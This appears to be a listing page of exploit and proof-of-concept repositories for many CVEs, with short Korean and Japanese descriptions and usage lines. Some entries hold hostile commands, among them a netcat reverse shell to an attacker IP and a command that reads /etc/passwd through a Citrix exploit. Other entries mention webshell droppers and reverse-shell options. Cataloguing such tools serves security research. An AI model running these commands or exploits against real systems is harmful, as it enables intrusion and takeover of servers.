cve-2023-5044

CVE-2023-5044 Ingress Nginx 익스플로잇 개념 증명 이것은 Ingress Nginx 컨트롤러의 최근 CVE를 익스플로잇하는 빠른 Go 프로그램입니다. 이 방법에 대한 자세한 내용은 Rory McCune의 블로그https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/에서 이미 확인할 수 있으며, 이 도구는 프로세스를 약간 자동화하고 익스플로잇을 정리하여 더 유연하고 일반적인 원격 코드 실행 페이로드로 만듭니다. 설치 % go install...

RPC-Backdoor

RPC バックドアエミュレーション このプロジェクトは、特定のグループが使用するTTPをエミュレートすることを目的とした「RPCバックドア」の基本的な実装です。 このプロジェクトには、以下の5つの関数を持つRPCサーバーが含まれています： cmd.exe /c と CreateProcess API 呼び出しを使用してコマンドを実行する。 トークンを盗み、cmd.exe /c と CreateProcessWithTokenW API 呼び出しを使用してコマンドを実行する。 リモートホストからファイルをダウンロードする。 リモートホストへファイルをアップロードする。...

CVE-2017-1000117

CVE-2017-1000117 악의적인 공격자는 교묘하게 구성된 "ssh://..." 링크를 통해 피해자가 프로그램 실행 등의 상황에서 해당 악성 링크에 접속하도록 하여 명령 실행을 달성할 수 있습니다. 이 링크는 git 프로젝트의 .gitmodules 파일에 배치될 수 있습니다. 이렇게 하면 피해자가 프로젝트에 대해 git clone --recurse-submodules / git clone --recursive 작업을 수행할 때 보안 문제가 발생합니다. 준비 작업: 리눅스 명령줄에 입력 printf 'a'...

Exploit-CVE-2025-24801

CVE-2025-24801 이 익스플로잇은 CVE-2025-24801을 사용하여 GLPI 10.0.17에서 Local File InclusionLFI을 통한 원격 코드 실행RCE을 달성합니다. 이 CVE의 개념 증명PoC은 GLPI에서 이 취약점에 대한 설명을 제공합니다. 관찰 일부 애플리케이션은 /glpi/ 엔드포인트를 노출합니다예: http://172.16.11.130:8080/glpi/front/computer.form.php. 대상 애플리케이션에 이 엔드포인트가 포함된 경우 --url 매개변수에 이를 추가해야 합니다예:...

CVE-2014-6271

CVE-2014-6271 사용법 go run CVE-2014-6271.go www.example.com 80 whoami...

CVE-2023-41892_poc

CVE-2023-41892poc Customized this for my own use pocnoauth.py 기본 PHP 원라인 웹쉘 ?cmd= 통한 OS 명령어 실행 pocauth.py 간단한 키 기반 인증이 추가된 웹쉘 SHA-256 해시 비교 방식 올바른 키를 입력해야 명령어 실행 가능 코드 수정 필요: droppayload 함수 내부의 webshell 변수에서 YOURSECRETKEY 부분을 원하는 키의 SHA-256 해시값 으로 수정 사용 방법: 1. webshell 내 YOURSECRETKEY → 평문 키의...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 Fortinet FortiNAC에 영향을 주는 CVE-2022-39952 PoC 이 익스플로잇은 공격자가 FortiNAC 서버에서 임의의 명령을 실행할 수 있게 해줍니다. horizon3ai가 개발한 PoC를 기반으로 하며, 여러 호스트를 대상으로 지정할 수 있는 추가 옵션이 포함되어 있습니다. 면책 조항: 이 익스플로잇은 교육 목적으로만 제공됩니다. 책임감 있게, 그리고 허가를 받은 상태에서만 사용하시기 바랍니다. 사용법: usage: exploit.py -h -t TARGET -l...

CVE-2019-14811-in-pdf-exploit

CVE-2019-14811 GhostScript PDF 미리보기 익스플로잇 PoC 이 익스플로잇은 PostScript 출력이 반영되지 않지만 png 이미지를 통한 PDF 미리보기 등으로 실행되는 GS 환경에서 CVE-2019-14811을 대상으로 합니다. 익스플로잇은 pngXXm 미리보기에서 직접 명령을 렌더링하며, https://github.com/hhc0null/GhostRule/blob/master/ghostrule1.ps 을 기반으로 합니다. dSafer 플래그는 .pdfhookDSCCreator를 통한 .forcepu...

CVE-2023-46818

CVE-2023-46818 PoC 이것은 Egidio Romano aka EgiX가 제공한 PoC의 Python 구현입니다 여기. 이 익스플로잇은 웹쉘을 프롬프트하며, 완전한 인터랙티브 셸을 얻으려면 명령을 실행하고 자신에게 리버스 셸을 보내십시오. 사용법 python exploit.py http://localhost username password 면책 조항 이 PoC의 저자는 누구의 행동에도 책임을 지지 않습니다. 이 익스플로잇을 CTF나 데모에서만 사용하십시오. -Vulner 일명 Abumalik...

CVE-2025-51820

CVE-2025-51820 Shopping Portal v1.0에서 심각한 원격 코드 실행RCE 취약점CVE-2025-51820이 발견되었습니다. 🚨 Online Shopping Portal Project v1.0 원격 코드 실행 취약점 CVE-2025-51820 🔍 소개 오늘날의 디지털 세계에서 원격 코드 실행RCE 은 가장 위험한 웹 애플리케이션 취약점 중 하나로 남아 있습니다. 이 보고서는 phpgurukul 의 Online Shopping Portal Project v1.0 에서 발견된 심각한 원격 코드 실행RCE...

RemoteMouse-3.008-RCE

CVE-2021-35448 - 원격 마우스 익스플로잇 설명 이 익스플로잇은 Remote Mouse 애플리케이션이전 명칭 WiFi Mouse의 CVE-2021-35448 취약점을 대상으로 합니다. POC CVE-2021-35448.webm 사용법 기본 구문 python3 CVE-2021-35448.py -t OPTIONS 옵션 -t, --target: 대상 IP 주소 필수 -p, --payload: 실행할 사용자 정의 명령어 -r, --reverse: IP:PORT 형식의 리버스 셸 -l, --http: IP:PORT 형식의 로...

CVE-2025-6384

CVE-2025-6384: CrafterCMS의 Groovy 샌드박스 우회 2 Crafter CMS의 Crafter Studio에서 동적으로 관리되는 코드 리소스Dynamically-Managed Code Resources의 부적절한 제어 취약점으로, 인증된 개발자가 Groovy 샌드박스 우회를 통해 OS 명령을 실행할 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구 사항: 이 취약점을 악용하려면 다음이 필요합니다: 유효한 사용자 자격 증명 개념 증명: 자세한...

CVE-2025-52385

CVE-2025-52385 소프트웨어 : Studio 3T v.2025.1.0 취약점 보고서 : Studio 3T 원격 명령 실행 개요 Studio 3T 버전 2025.1.0 및 이전 버전의 심각한 취약점으로 인해 원격 공격자가 IntelliShell 구성 요소의 childprocess 모듈을 악용하는 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 세부 정보 취약점 유형: 원격 명령 실행 영향받는 제품: Studio 3T, 버전 console.logstdout; 또는 아래 명령을 확인 벡터로 사용하십시오:curl...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - 원격 명령 실행 RCE 익스플로잇 개요 이 익스플로잇은 Adobe ColdFusion 8 CVE-2009-2265의 알려진 취약점을 대상으로 합니다. 악의적인 JSP 페이로드를 업로드하여 리버스 셸 연결을 설정함으로써 원격 명령 실행RCE을 가능하게 합니다. 익스플로잇 상세 정보 CVE : CVE-2009-2265 취약점 : Adobe ColdFusion 8에서 파일 업로드 처리 부적절 영향받는 버전 : Adobe ColdFusion 8 영향 : 공격자가 서버에서 임의 명령을 실행할 수 있...

CVE-2007-2447

ExploitDev 여정 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' 명령 실행 원본 익스플로잇: https://www.exploit-db.com/exploits/16320 익스플로잇 이름: Samba username map script RCE CVE : 2007-2447 랩 : Lame - HackTheBox 설명 Samba 3.0.25 미만 버전에는 공격자가 SMB 서버에 사용자 이름으로 잘못된 형식의 요청을 보내 시스템 명령을 실행할 수 있게 하는...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC n0o0b 작성의 CVE-2023-30258-RCE POC 사용법 usage: poc.py -h -u URL -c CMD 예시: python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help 도움말 메시지를 표시하고 종료합니다 -u URL, --url URL 대상 URL -c CMD, --cmd CMD 실행할 명령...

CVE-2019-19781

CVE-2019-19781 캐시 뒤에 있는 Citrix를 위한 python3 CVE-2019-19781 익스플로잇입니다. 이 버전은 '', '|', '2&1' ... 등을 허용합니다. 사용법 python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' 할 일 응답에 Age 헤더가 있으면 반복합니다. 연속 모드 -c. 확인 모드 Get /vpn/../vpns/cfg/smb.conf...

Mass-CVE-2025-29306

FoxCMS 대량 익스플로잇 도구 CVE-2025-29306 보안 연구자가 여러 대상에 걸쳐 원격 명령 실행RCE 테스트를 수행할 수 있는 특화된 자동화 도구입니다. 🛡️ 보안 참고사항 이 프로그램은 Bash 로 작성되었으며 SHCShell Script Compiler로 암호화/컴파일되었습니다. 소스 코드는 변조 및 무단 수정을 방지하기 위해 보호됩니다. 📋 요구사항 프로그램이 올바르게 실행되려면 시스템에 다음이 있는지 확인하십시오: curl python3 libxml2-utils xmllint용 🚀 시작하기 1. 대상 준비:...

cve-2018-11776-docker

CVE-2018-11776 Docker 컨테이너 및 Go로 작성된 POC 익스플로잇 직접 이미지를 빌드하여 실행할 수 있습니다: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename 또는 제가 당신을 위해 정성껏 만든 이미지를 가져올 수 있습니다: docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776 취약한 애플리케이션이 8080 포트에서 실행됩니다...

CVE-2018-6574

CVE-2018-6574 Golang go get 명령에서의 원격 명령 실행 익스플로잇. 소개 Go 패키지를 go get으로 가져올 때, Go는 패키지의 어떤 코드도 실행하지 않고 빌드 및 설치하도록 설계되어 있습니다. 의도는 패키지를 전혀 신뢰하지 않고도 안전하게 get, 빌드, 설치할 수 있다는 것입니다. 이론적으로는 Go 툴체인에게 쉬운 작업처럼 보이지만, 실제로는 상당한 도전 과제입니다. go get은 내부적으로 많은 작업을 수행하며, 패키지 설정에 크게 영향을 받는 방식으로 git 및 clang과 같은 서드파티 도구를...